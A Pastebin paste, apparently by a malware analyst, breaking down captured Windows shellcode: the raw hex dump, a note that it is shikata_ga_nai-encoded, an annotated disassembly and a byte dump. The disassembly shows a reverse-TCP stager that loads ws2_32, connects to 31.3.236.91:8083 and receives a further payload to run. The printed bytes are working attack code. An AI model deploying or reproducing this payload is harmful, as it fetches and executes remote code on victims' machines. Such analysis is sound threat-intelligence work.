James_inthe_box

Shellcode

Sep 27th, 2017
713
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.58 KB | None | 0 0
  1. Hex dump: ba 44 84 9b fc da d2 d9 74 24 f4 5d 29 c9 b1 47 31 55 13 03 55 13 83 ed fc e2 f5 fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 33 32 00 00 68 77 73 32 5f 54 68 4c 77 26 07 ff d5 b8 90 01 00 00 29 c4 54 50 68 29 80 6b 00 ff d5 6a 05 68 1f 03 ec 5b 68 02 00 1f 93 89 e6 50 50 50 50 40 50 40 50 68 ea 0f df e0 ff d5 97 6a 10 56 57 68 99 a5 74 61 ff d5 85 c0 74 0c ff 4e 08 75 ec 68 f0 b5 a2 56 ff d5 6a 00 6a 04 56 57 68 02 d9 c8 5f ff d5 8b 36 6a 40 68 00 10 00 00 56 6a 00 68 58 a4 53
  2. Found shikata_ga_nai shellcode len = 71, key = 0x57383ed6, decode offset= 19, fpop offset = 5, keyop= add, istart=0x13, 'add edx,dword [ebp + 19]'
  3. 0x00000000 ba44849bfc mov edx,0xfc9b8444
  4. 0x00000005 dad2 fcmovbe st0,st2
  5. 0x00000007 d97424f4 fnstenv [esp - 12]
  6. 0x0000000b 5d pop ebp
  7. 0x0000000c 29c9 sub ecx,ecx
  8. 0x0000000e b147 mov cl,71
  9. 0x00000010 315513 xor dword [ebp + 19],edx
  10. 0x00000013 035513 add edx,dword [ebp + 19]
  11. 0x00000016 83edfc sub ebp,0xfffffffc
  12. 0x00000019 e2f5 loop 0x00000010
  13. 0x0000001b fc cld
  14. 0x0000001c e882000000 call 0x000000a3
  15. 0x00000021 60 pushad
  16. 0x00000022 89e5 mov ebp,esp
  17. 0x00000024 31c0 xor eax,eax
  18. 0x00000026 648b5030 fs: mov edx,dword [eax + 48]
  19. 0x0000002a 8b520c mov edx,dword [edx + 12]
  20. 0x0000002d 8b5214 mov edx,dword [edx + 20]
  21. 0x00000030 8b7228 mov esi,dword [edx + 40]
  22. 0x00000033 0fb74a26 movzx ecx,word [edx + 38]
  23. 0x00000037 31ff xor edi,edi
  24. 0x00000039 ac lodsb
  25. 0x0000003a 3c61 cmp al,97
  26. 0x0000003c 7c02 jl 0x00000040
  27. 0x0000003e 2c20 sub al,32
  28. 0x00000040 c1cf0d ror edi,13
  29. 0x00000043 01c7 add edi,eax
  30. 0x00000045 e2f2 loop 0x00000039
  31. 0x00000047 52 push edx
  32. 0x00000048 57 push edi
  33. 0x00000049 8b5210 mov edx,dword [edx + 16]
  34. 0x0000004c 8b4a3c mov ecx,dword [edx + 60]
  35. 0x0000004f 8b4c1178 mov ecx,dword [ecx + edx + 120]
  36. 0x00000053 e348 jecxz 0x0000009d
  37. 0x00000055 01d1 add ecx,edx
  38. 0x00000057 51 push ecx
  39. 0x00000058 8b5920 mov ebx,dword [ecx + 32]
  40. 0x0000005b 01d3 add ebx,edx
  41. 0x0000005d 8b4918 mov ecx,dword [ecx + 24]
  42. 0x00000060 e33a jecxz 0x0000009c
  43. 0x00000062 49 dec ecx
  44. 0x00000063 8b348b mov esi,dword [ebx + ecx * 4]
  45. 0x00000066 01d6 add esi,edx
  46. 0x00000068 31ff xor edi,edi
  47. 0x0000006a ac lodsb
  48. 0x0000006b c1cf0d ror edi,13
  49. 0x0000006e 01c7 add edi,eax
  50. 0x00000070 38e0 cmp al,ah
  51. 0x00000072 75f6 jnz 0x0000006a
  52. 0x00000074 037df8 add edi,dword [ebp - 8]
  53. 0x00000077 3b7d24 cmp edi,dword [ebp + 36]
  54. 0x0000007a 75e4 jnz 0x00000060
  55. 0x0000007c 58 pop eax
  56. 0x0000007d 8b5824 mov ebx,dword [eax + 36]
  57. 0x00000080 01d3 add ebx,edx
  58. 0x00000082 668b0c4b mov cx,word [ebx + ecx * 2]
  59. 0x00000086 8b581c mov ebx,dword [eax + 28]
  60. 0x00000089 01d3 add ebx,edx
  61. 0x0000008b 8b048b mov eax,dword [ebx + ecx * 4]
  62. 0x0000008e 01d0 add eax,edx
  63. 0x00000090 89442424 mov dword [esp + 36],eax
  64. 0x00000094 5b pop ebx
  65. 0x00000095 5b pop ebx
  66. 0x00000096 61 popad
  67. 0x00000097 59 pop ecx
  68. 0x00000098 5a pop edx
  69. 0x00000099 51 push ecx
  70. 0x0000009a ffe0 jmp eax
  71. 0x0000009c 5f pop edi
  72. 0x0000009d 5f pop edi
  73. 0x0000009e 5a pop edx
  74. 0x0000009f 8b12 mov edx,dword [edx]
  75. 0x000000a1 eb8d jmp 0x00000030
  76. 0x000000a3 5d pop ebp
  77. 0x000000a4 6833320000 push 0x00003233--> '23'
  78. 0x000000a9 687773325f push 0x5f327377--> '_2sw'
  79. 0x000000ae 54 push esp
  80. 0x000000af 684c772607 push 0x0726774c--> '&wL'
  81. 0x000000b4 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  82. 0x000000b6 b890010000 mov eax,400
  83. 0x000000bb 29c4 sub esp,eax
  84. 0x000000bd 54 push esp
  85. 0x000000be 50 push eax
  86. 0x000000bf 6829806b00 push 0x006b8029--> 'k)'
  87. 0x000000c4 ffd5 call ebp --> ws2_32.dll!WSAStartup
  88. 0x000000c6 6a05 push 5
  89. 0x000000c8 681f03ec5b push 0x5bec031f
  90. 0x000000cd 6802001f93 push 0x931f0002--> IP 31.3.236.91:8083
  91. 0x000000d2 89e6 mov esi,esp
  92. 0x000000d4 50 push eax
  93. 0x000000d5 50 push eax
  94. 0x000000d6 50 push eax
  95. 0x000000d7 50 push eax
  96. 0x000000d8 40 inc eax
  97. 0x000000d9 50 push eax
  98. 0x000000da 40 inc eax
  99. 0x000000db 50 push eax
  100. 0x000000dc 68ea0fdfe0 push 0xe0df0fea
  101. 0x000000e1 ffd5 call ebp --> ws2_32.dll!WSASocketA
  102. 0x000000e3 97 xchg eax,edi
  103. 0x000000e4 6a10 push 16
  104. 0x000000e6 56 push esi
  105. 0x000000e7 57 push edi
  106. 0x000000e8 6899a57461 push 0x6174a599--> 'at'
  107. 0x000000ed ffd5 call ebp --> ws2_32.dll!connect
  108. 0x000000ef 85c0 test eax,eax
  109. 0x000000f1 740c jz 0x000000ff
  110. 0x000000f3 ff4e08 dec dword [esi + 8]
  111. 0x000000f6 75ec jnz 0x000000e4
  112. 0x000000f8 68f0b5a256 push 0x56a2b5f0
  113. 0x000000fd ffd5 call ebp --> kernel32.dll!ExitProcess
  114. 0x000000ff 6a00 push 0
  115. 0x00000101 6a04 push 4
  116. 0x00000103 56 push esi
  117. 0x00000104 57 push edi
  118. 0x00000105 6802d9c85f push 0x5fc8d902
  119. 0x0000010a ffd5 call ebp --> ws2_32.dll!recv
  120. 0x0000010c 8b36 mov esi,dword [esi]
  121. 0x0000010e 6a40 push 64
  122. 0x00000110 6800100000 push 4096
  123. 0x00000115 56 push esi
  124. 0x00000116 6a00 push 0
  125.  
  126. Byte Dump:
  127. .D......t$.])..G1U..U............`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]h32..hws2_ThLw&........).TPh).k...j.h...[h......PPPP@[email protected][email protected]
Advertisement
Add Comment
Please, Sign In to add comment